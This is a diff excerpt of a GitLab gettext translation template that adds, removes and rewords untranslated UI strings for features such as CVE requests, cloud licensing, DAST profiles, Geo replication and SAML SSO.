+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5742,6 +5930,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5769,6 +5960,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8761,19 +9051,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8918,9 +9204,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8942,6 +9225,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9158,6 +9447,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10294,13 +10623,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10721,13 +11047,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11253,6 +11585,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,19 +12677,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12351,7 +12698,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12600,6 +12947,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12669,13 +13010,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12774,6 +13118,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13831,6 +14187,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13900,6 +14265,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13960,6 +14340,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13972,6 +14355,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14011,6 +14421,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14044,6 +14457,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14089,6 +14505,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14383,9 +14826,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14515,16 +14955,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14593,6 +15033,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14674,9 +15120,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,7 +15246,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15414,6 +15857,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16401,6 +16850,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
